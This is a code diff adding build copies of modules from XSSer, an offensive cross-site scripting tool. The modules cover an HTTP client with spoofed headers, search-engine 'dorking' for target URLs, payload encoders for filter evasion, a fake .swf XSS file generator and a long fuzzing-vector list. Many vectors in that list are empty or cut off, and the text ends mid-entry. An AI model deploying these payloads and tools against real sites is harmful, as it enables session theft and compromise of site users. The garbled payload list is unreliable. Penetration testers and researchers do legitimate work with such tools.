(self.handle.getinfo(pycurl.CONTENT_TYPE) or '').strip(';') + except: + m['content-type'] = str("text/html; charset=UTF-8") + m['cookielist'] = str(self.handle.getinfo(pycurl.INFO_COOKIELIST)) + #m['content-length-download'] = str(self.handle.getinfo(pycurl.CONTENT_LENGTH_DOWNLOAD)) + #m['content-length-upload'] = str(self.handle.getinfo(pycurl.CONTENT_LENGTH_UPLOAD)) + #m['encoding'] = str(self.handle.getinfo(pycurl.ENCODING)) + return m + + @classmethod + def print_options(cls): + """ + Print selected options. + """ + print("\nCookie:", cls.cookie) + print("User Agent:", cls.agent) + print("Referer:", cls.referer) + print("Extra Headers:", cls.headers) + if cls.xforw == True: + print("X-Forwarded-For:", "Random IP") + else: + print("X-Forwarded-For:", cls.xforw) + if cls.xclient == True: + print("X-Client-IP:", "Random IP") + else: + print("X-Client-IP:", cls.xclient) + print("Authentication Type:", cls.atype) + print("Authentication Credentials:", cls.acred) + if cls.ignoreproxy == True: + print("Proxy:", "Ignoring system default HTTP proxy") + else: + print("Proxy:", cls.proxy) + print("Timeout:", cls.timeout) + if cls.tcp_nodelay == True: + print("Delaying:", "TCP_NODELAY activate") + else: + print("Delaying:", cls.delay, "seconds") + if cls.followred == True: + print("Follow 302 code:", "active") + if cls.fli: + print("Limit to follow:", cls.fli) + else: + print("Delaying:", cls.delay, "seconds") + print("Retries:", cls.retries, "\n") + + def answered(self, check): + """ + Check for occurence of a string in the payload from + the latest operation. + """ + return self.payload.find(check) >= 0 + + def close(self): + """ + Close the curl handle. + """ + self.handle.close() + self.header.close() + self._closed = True + + def __del__(self): + if not self._closed: + self.close() diff --git a/build/bdist.macosx-11.1-arm64/egg/core/dork.py b/build/bdist.macosx-11.1-arm64/egg/core/dork.py new file mode 100644 index 0000000..d02670c --- /dev/null +++ b/build/bdist.macosx-11.1-arm64/egg/core/dork.py @@ -0,0 +1,129 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*-" +# vim: set expandtab tabstop=4 shiftwidth=4: +""" +This file is part of the XSSer project, https://xsser.03c8.net + +Copyright (c) 2010/2020 | psy + +xsser is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 3 of the License. + +xsser is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with xsser; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +........ + +List of search engines: https://en.wikipedia.org/wiki/List_of_search_engines + +Currently supported: duck(default), startpage, yahoo, bing + +""" +import urllib.request, urllib.error, urllib.parse, traceback, re, random +urllib.request.socket.setdefaulttimeout(5.0) + +DEBUG = 0 + +class Dorker(object): + def __init__(self, engine='duck'): + self._engine = engine + self.search_engines = [] # available dorking search engines + self.search_engines.append('duck') + self.search_engines.append('startpage') + self.search_engines.append('yahoo') + self.search_engines.append('bing') + self.agents = [] # user-agents + try: + f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents + except: + f = open("fuzzing/user-agents.txt").readlines() # set path for user-agents when testing + for line in f: + self.agents.append(line) + + def dork(self, search): + """ + Perform a search and return links. + """ + if self._engine == 'bing': # works at 20-02-2011 -> 19-02-2016 -> 09-04-2018 -> 26-08-2019 + search_url = 'https://www.bing.com/search?q="' + str(search) + '"' + print("\nSearching query:", urllib.parse.unquote(search_url)) + elif self._engine == 'yahoo': # works at 20-02-2011 -> 19-02-2016 -> -> 09-04-2018 -> 26-08-2019 + search_url = 'https://search.yahoo.com/search?q="' + str(search) + '"' + print("\nSearching query:", urllib.parse.unquote(search_url)) + elif self._engine == 'duck': # works at 26-08-2019 + search_url = 'https://duckduckgo.com/html/' + q = 'instreamset:(url):"' + str(search) + '"' # set query to search literally on results + query_string = { 'q':q } + print("\nSearching query:", urllib.parse.unquote(search_url) + " [POST: (" + q + ")]") + elif self._engine == 'startpage': # works at 26-08-2019 + search_url = 'https://www.startpage.com/do/asearch' + q = 'url:"' + str(search) + '"' # set query to search literally on results + query_string = { 'cmd':'process_search', 'query':q } + print("\nSearching query:", urllib.parse.unquote(search_url) + " [POST: (" + q + ")]") + else: + print("\n[Error] This search engine is not being supported!\n") + print('-'*25) + print("\n[Info] Use one from this list:\n") + for e in self.search_engines: + print("+ "+e) + print("\n ex: xsser -d 'profile.asp?num=' --De 'duck'") + print(" ex: xsser -l --De 'startpage'") + print("\n[Info] Or try them all:\n\n ex: xsser -d 'news.php?id=' --Da\n") + try: + self.search_url = search_url + user_agent = random.choice(self.agents).strip() # set random user-agent + referer = '127.0.0.1' # set referer to localhost / WAF black magic! + headers = {'User-Agent' : user_agent, 'Referer' : referer} + if self._engine == 'bing' or self._engine == 'yahoo': # using GET + req = urllib.request.Request(search_url, None, headers) + elif self._engine == 'duck' or self._engine == 'startpage': # using POST + data = urllib.parse.urlencode(query_string) + req = urllib.request.Request(search_url, data, headers) + html_data = urllib.request.urlopen(req).read().decode('utf8') + print("\n[Info] Retrieving requested info...\n") + except urllib.error.URLError as e: + if DEBUG: + traceback.print_exc() + print("\n[Error] Cannot connect!") + print("\n" + "-"*50) + return + if self._engine == 'bing': + regex = '

+ +xsser is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 3 of the License. + +xsser is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with xsser; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" +import urllib.request, urllib.parse, urllib.error + +class EncoderDecoder(object): + """ + Class to help encoding and decoding strings with different hashing or + encoding algorigthms.. + """ + # encdec functions: + def __init__(self): + self.encmap = { "Str" : lambda x : self._fromCharCodeEncode(x), + "Hex" : lambda x : self._hexEncode(x), + "Hes" : lambda x : self._hexSemiEncode(x), + "Une" : lambda x : self._unEscape(x), + "Dec" : lambda x : self._decEncode(x), + "Mix" : lambda x : self._unEscape(self._fromCharCodeEncode(x)) + } + + def _fromCharCodeEncode(self, string): + """ + Encode to string. + """ + encoded='' + for char in string: + encoded=encoded+","+str(ord(char)) + return encoded[1:] + + def _hexEncode(self, string): + """ + Encode to hex. + """ + encoded='' + for char in string: + encoded=encoded+"%"+hex(ord(char))[2:] + return encoded + + def _hexSemiEncode(self, string): + """ + Encode to semi hex. + """ + encoded='' + for char in string: + encoded=encoded+"&#x"+hex(ord(char))[2:]+";" + return encoded + + def _decEncode(self, string): + """ + Encode to decimal. + """ + encoded='' + for char in string: + encoded=encoded+"&#"+str(ord(char)) + return encoded + + def _unEscape(self, string): + """ + Escape string. + """ + encoded='' + for char in string: + encoded=encoded+urllib.parse.quote(char) + return encoded + + def _ipDwordEncode(self, string): + """ + Encode to dword. + """ + encoded='' + tblIP = string.split('.') + # In the case it's not an IP + if len(tblIP)!=4: + return 0 + for number in tblIP: + tmp=hex(int(number))[2:] + if len(tmp)==1: + tmp='0' +tmp + encoded=encoded+tmp + return int(encoded,16) + + def _ipOctalEncode(self, string): + """ + Encode to octal. + """ + encoded='' + tblIP = string.split('.') + # In the case it's not an IP + if len(tblIP)!=4: + return 0 + octIP = [oct(int(s)).zfill(4) for s in tblIP] + return ".".join(octIP) + +if __name__ == "__main__": + encdec = EncoderDecoder() + print(encdec._ipOctalEncode("127.0.0.1")) diff --git a/build/bdist.macosx-11.1-arm64/egg/core/flashxss.py b/build/bdist.macosx-11.1-arm64/egg/core/flashxss.py new file mode 100644 index 0000000..4857e0e --- /dev/null +++ b/build/bdist.macosx-11.1-arm64/egg/core/flashxss.py @@ -0,0 +1,50 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*-" +# vim: set expandtab tabstop=4 shiftwidth=4: +""" +This file is part of the XSSer project, https://xsser.03c8.net + +Copyright (c) 2010/2019 | psy + +xsser is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 3 of the License. + +xsser is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with xsser; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" +import os + +class FlashInjections(object): + + def __init__(self, payload =''): + self._payload = payload + + def flash_xss(self, filename, payload): + """ + Create -fake- flash movie (.swf) with XSS codeinjected. + """ + root, ext = os.path.splitext(filename) + if ext.lower() in [".swf"]: + f = open(filename, 'wb') + user_payload = payload + if not user_payload: + user_payload = 'a="get";b="URL";c="javascript:";d="alert("XSS");void(0);";eval(a+b)(c+d);' + if ext.lower() == ".swf": + content = user_payload + f.write(content) + f.close() + flash_results = "\n[Info] XSS Vector: \n\n "+ content + "\n\n[Info] File: \n\n ", root + ext + "\n" + else: + flash_results = "\n[Error] Supported extensions = .swf\n" + return flash_results + +if __name__ == '__main__': + flash_xss_injection = FlashInjections('') + print(flash_xss_injection.flash_xss('FlashXSSpoison.swf' , "")) diff --git a/build/bdist.macosx-11.1-arm64/egg/core/fuzzing/DCP.py b/build/bdist.macosx-11.1-arm64/egg/core/fuzzing/DCP.py new file mode 100644 index 0000000..dd44f04 --- /dev/null +++ b/build/bdist.macosx-11.1-arm64/egg/core/fuzzing/DCP.py @@ -0,0 +1,59 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*-" +# vim: set expandtab tabstop=4 shiftwidth=4: +""" +This file is part of the XSSer project, https://xsser.03c8.net + +Copyright (c) 2010/2019 | psy + +xsser is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 3 of the License. + +xsser is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with xsser; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" +## This file contains different XSS fuzzing vectors. +## If you have some new, please email me to [epsylon@riseup.net] +## Happy Cross Hacking! ;) + +DCPvectors = [ + { 'payload' : """[B64]""", + 'browser' : """[Data Control Protocol Injection]"""}, + { 'payload' : """""", + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""}, + { 'payload':"""""", + 'browser':"""Not Info"""}, + { 'payload':"""""", + 'browser':"""Not Info"""}, + { 'payload':"""""", + 'browser':"""Not Info"""}, + { 'payload':"""""", + 'browser':"""Not Info"""}, + { 'payload':""" onload=PAYLOAD>""", + 'browser':"""Not Info"""}, + { 'payload':""" onload=PAYLOAD>""", + 'browser':"""Not Info"""}, + { 'payload':"""""", + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""}, + { 'payload':"""""", + 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""}, + { 'payload':"""
""", + 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""}, + { 'payload':"""
""", + 'browser':"""[IE6.0|NS8.1-IE]"""}, + { 'payload':"""
""", + 'browser':"""[IE7.0|IE6.0|NS8.1-IE]"""}, + { 'payload':"""""", + 'browser':"""[IE7.0|IE6.0|NS8.1-IE]"""}, + { 'payload':"""""", + 'browser':"""[IE7.0|IE6.0|NS8.1-IE]"""}, + { 'payload':"""""", + 'browser':"""[NS4]"""}, + { 'payload':"""""", + 'browser':"""[IE6.0|NS8.1-IE]"""}, + { 'payload':"""""", + 'browser':"""[IE6.0|NS8.1-IE]"""}, + { 'payload':"""""", + 'browser':"""[IE7.0|IE6.0|NS8.1-IE]"""}, + { 'payload':"""""", + 'browser':"""[IE6.0|NS8.1-IE]"""}, + { 'payload':"""""", + 'browser':"""[O9.02]"""}, + { 'payload':"""a="get";b="URL(\"";c="javascript:";d="PAYLOAD\")";eval(a+b+c+d);""", + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""}, + { 'payload':"""PAYLOAD'); ?>""", + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""}, + { 'payload':"""""", + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""}, + { 'payload':"""""", + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""}, + { 'payload':"""""", + 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""}, + { 'payload':"""""", + 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""}, + { 'payload':"""--- """, + 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""}, + { 'payload':'''--- a=/PAYLOAD/alert(a.source)""", + 'browser':"""[Not Info]"""}, + { 'payload':'''--- \";PAYLOAD;//''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"""}, + { 'payload':"""""", + 'browser':"""[IE6.0|NS8.1-IE] [O9.02]"""}, + { 'payload':"""''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[HTML5 Injection]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[HTML5 Injection]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[IE] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''